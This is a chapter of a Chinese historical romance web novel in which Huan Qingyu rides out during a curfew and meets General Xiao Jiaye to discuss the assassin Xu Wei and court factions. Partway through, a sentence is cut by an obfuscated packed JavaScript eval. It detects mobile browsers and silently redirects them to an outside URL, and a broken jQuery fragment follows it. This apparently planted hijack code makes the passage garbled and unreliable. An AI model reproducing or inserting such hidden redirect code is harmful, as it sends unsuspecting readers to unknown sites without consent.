连云将缦阁最后一位总管送出风竹苑时,回首已是晚霞荼蘼,素月东岭。
风竹苑落成已有三年,院子越来越精细别致,花圃鱼塘,竹篱板桥,怪石翠柳都打理得井井有条,而院中人却不再是那个永远充满闲情逸致的豆蔻少女。
刚进门,她就看见桓清与换了一套出行的装束,月白色胡装,两个袖口紧紧扎起,让原本纤细婉约的手臂线条更强健有力,一条经过改良的宽腰带将细腰包裹,腰线修长,衬得轻薄的背脊越加挺拔了几分。一枝精心绣制的瘦骨红梅从腰间生长出来,一直延伸至肩头,数朵娇艳的花朵错落有致,矫矫不群又不失清媚。
“小姐这是要亲自去神医谷取药?”
“对。”桓清与端起桌案上一碗放凉了的清粥,喝了一口,“柳神医这人脾气怪,我还是小心伺候着为好。”说着,又咕噜咕噜喝了一大口。
连云看着她高高束起的长发,这可是桓清与平日去打架或比武的打扮,“萧将军此刻也在神医谷?”
“咳——”桓清与轻轻咳了一声,连云连忙递上一杯茶,她缓缓喝了半杯,眼睛瞧着连云,“为何这么问?”
“小姐既说柳神医不好对付,连云想若萧将军在,或许会好办些。”
“无妨,桓家的面子他还是会给的。”她拿丝巾擦了擦嘴角,朝靠近马厩的后门走去,临出阁时脚步顿了顿,用轻快的语气对连云说道:“我亥时前回来,叫俞婶给我留两个小菜。”
未等连云答话,她已不见了身影。
白日将近,大街上人影寥落,不少店铺早早关门打烊,比往日冷清了许多。
前夜缦阁发生刺杀事件,血鹰、瞳两人就地服诛,还有重澜、月婴和鸱三人重伤败逃,今日早朝后魏帝下旨命华琰率一众将领把守金陵各处城门,三日内全城戒严,寻常百姓夜间不得随意出行,青楼酒肆也一概闭门谢客。
桓清与身骑白马,不紧不慢地走着,目光散漫地环视整条朱雀大街,沿路把中领军巡防的要点都看了个大概。
来到城门口,把守此处的将领成义见桓清与晚间出城,便上前行礼道:“末将成义见过淮阴县主。”
桓清与丝毫没有停步的意思,驾着马,嘴上回道:“成将军免礼。这几日城中戒严,中领军的兄弟们辛苦了。”
成义眼见桓清与逼近城门口,边上几位将士纷纷迟疑,不知该不该立即放行。
他略微提高嗓门,“末将职责所在,不敢言苦。”又接着说道:“县主有陛下亲赐令牌,可任意出入皇城内外,但此时天色已晚,戒严期间,末将需知晓县主此时出城所谓何事?方可放行。”
桓清与看着前头紧闭的城门,笑了笑,“都说成将军为人刚正不阿,尽忠职守,今日桓清与算是见识了。”
她下马走到成义跟前,拿出令牌,用城门口侍卫都听得见的声音说道:“本县主学艺不精,昨夜在缦阁与几名杀手对战,身上负了伤,昨夜经神医谷柳神医救治,神医让我晚间去谷里取药,这才连夜出城。”
成义先是板着脸按规定查看令牌,后听到桓清与负伤一事,脸上陡然变了神色,道:“县主为朝廷效力,恕下官冒犯。”
“不碍事。成将军职责所在。”她语气平淡而暗含赞赏,说着伸手取回令牌,丢了一个钱袋给成义,转身去牵马。
“县主请收回,末将不敢当。”
桓清与回头笑道:“不是给你一个人的,换班后给兄弟们买点酒喝。”然后牵着马朝城外走去。
华琰率领的中领军是魏帝最信任的军队,无论皇城内外,但凡有军情,总是由中领军把守最重要的关卡。至于卫尉、中护军那几个官衙,由容家和许家把持,帐下都是和大理寺曾良一样只知阿谀奉承、谄上欺下的无能之辈。
容铉借刺杀一案,罢黜了中护将军康宁,也算是为朝廷除害,却不知他又想推自己门下的哪位上去?
桓清与继续打马前行,心绪纷乱。
在刺杀案件之外,缦阁遭受重创、五名士族中人失踪,这究竟对谁有好处?俞樾究竟是谁的人?
最后一丝落日余晖消失殆尽,留下漫天的暗云涌动,夜空斑驳晦涩,不知今夜是晴是雨。
风渐寒,她快马加鞭赶往神医谷。
到了谷口,身穿粗布长衫的小药童说早些时辰萧将军过来取了解药,并留下话,让桓县主去扫云台找他。
桓清与在灯下略略打量这小药童,见他身量不高,眉眼生得灵醒,确乎是神医谷才养得出的模样。
小药童察觉了桓清与探查的目光,了然一笑,大大方方说道:“我们师兄弟也说将军此举好没道理,取了县主的解药,不送自个儿过去,反倒招人再跑一趟。幸而神医谷和扫云台之间另有密道,不费事。还请县主随小人移步。”
桓清与笑道:“有劳小师傅。”
两人向谷内走去,穿过一处药田,来到怪石嶙峋的山脚下。小药童一手提灯,一手打开密钥,忽然,一块高过人头的巨石缓缓移动,昏黄的灯光自洞口流泻而出。
萧迦叶手持灯盏,着一件玄色广袖常服,立于密道中。
“县主请。”灯光映在他的侧脸上,风神俊秀。
他的语气平淡无奇,一如往常。
好像他们没有并肩作战,没有同生共死,也没有......桓清与知道,前夜在镜湖边,不过是情急之下的无奈之举,可她偏偏在混乱不堪的战局中,还清楚记得他的气息。
她深吸一口气,提步入内。
萧迦叶持灯引路,她紧跟其后,两人都静默无言,缓缓穿过这段密道。
密室的尽头,通向萧迦叶的寝房。
桓清与的目光不偏不倚,跟着他的脚步穿过寝房,来到前厅,在一方书案前坐下。略一抬首,看向窗外,竟是一泓温泉水,水中明月升。原来风云退去,今晚依旧是晴夜。
“你已经知道昨夜的黑衣刺客是谁了?”桓清与开门见山地问道。萧迦叶应是猜到了她取解药的目的,恰好又知晓黑衣刺客身份,才会擅自抢在她之前拿到解药。
“是许家四小姐,许蔚。”
听到这个答案,桓清与心中一震。她曾如此猜想过,但仍心存侥幸,以为就算是许家,也不会冒然让许蔚身犯险境。
许蔚在许家处境并不好。一旦任务失败,其他几个兄弟姐妹趁机打压她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950286|186752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还来不及,许家会派谁来替她取药?许范?或是许师?她觉得都不是。
“将军是如何得知的?”桓清与压住心中的慌乱,沉声问道。
萧迦叶起手煮茶,说道:“下早朝后我收到容珩的消息,并约定今晚酉时三刻来扫云台取药。”
他提起容珩的神情,好似提及某一位旧日好友。
桓清与这才反应过来,他和桓俭,容珩,以及华莲早逝的大哥华侃曾一同在国子监求学。国子监修缮学舍时,他们还曾到桓安门下听课,那是她极其久远的记忆。
但令她惊讶的是,如此危急时刻,竟是容珩来为许蔚求取解药。容珩为什么有信心可以让萧迦叶在这一局中放过许家?他对许蔚又究竟是何心意?
萧迦叶沏了一杯茶递给她,毫无预兆地夸赞道:“你这一步棋下得很好。”
桓清与抬眸看向他。
“让刺客经你的血而身中赤练蛇毒,普天之下,只有取了你的血作药引的神医谷,可以调制出解药。不论派出杀手协助‘苍狼’的是哪家门阀,也不管他们对这个武力高强的棋子是救是弃,我们或许都能顺藤摸瓜把真凶找出来。这叛国的大罪,足以抄家灭族。”
“最初,我是这么想的。”当时她和阿南一起对阵刺客,眼见鸱和黑衣刺客都将抽身而退,她匆忙之中埋下这一伏笔,就是为了留下他们的把柄。
“可你现在不想让许蔚死,也不想把她当作引许遵就范的诱饵。”或许是这话语太过狠毒,萧迦叶神情柔和了许多,如私语一般轻声说道。
“许遵根本不可能就范!如果拿许蔚来要挟许家,我们只会把她逼死。”此话一出,桓清与如芒在背。
许家最不缺的就是争宠邀功的子女,许蔚危在旦夕,那些人巴不得落井下石,取代她的位置;而许遵恐怕也不是一个会为了女儿受人要挟的慈父。
从许蔚单方面和她断交起,她一直以为她们还能重新做朋友......哪怕现在先做了敌人,她也不希望许蔚出事。
“你别急。”萧迦叶缓缓说道:“以许家的势力,就算牺牲许蔚,我们也难抓到他们的把柄,线索可以在任意一个关联的高官那儿断掉。许遵可以弃掉自己的女儿,更可以拿手下人做替死鬼。凭此一役,我们并不能打倒许家。许县主的性命,也不是我们这一战的目的。”
此刻“我们”这两个字在桓清与听来,尤为陌生。
“我们”是谁?萧家和桓家,萧迦叶和她?不是。萧迦叶和哥哥?
缦阁一役声势浩大,伤亡惨重,所波及的势力范围也远超她最初所预料。昨日魏帝忽然任命萧迦叶和桓俭一同护卫慕容隽的安全,萧迦叶控制了整个缦阁的布防,据说连中护军都没能插上手。严防死守之下,究竟是哪里还有遗漏?
桓清与心里冒出一个危险的念头。但她不明白眼下的情形对他有什么好处?
她慢慢饮下半杯茶水,咽下自己的种种疑心,方道:“那将军认为,我们的目的是什么?”
“推行新政,整顿吏治。”
萧迦叶脱口而出,目光清正。
这是桓安半生的宏愿,在此时此地,竟由萧迦叶说出。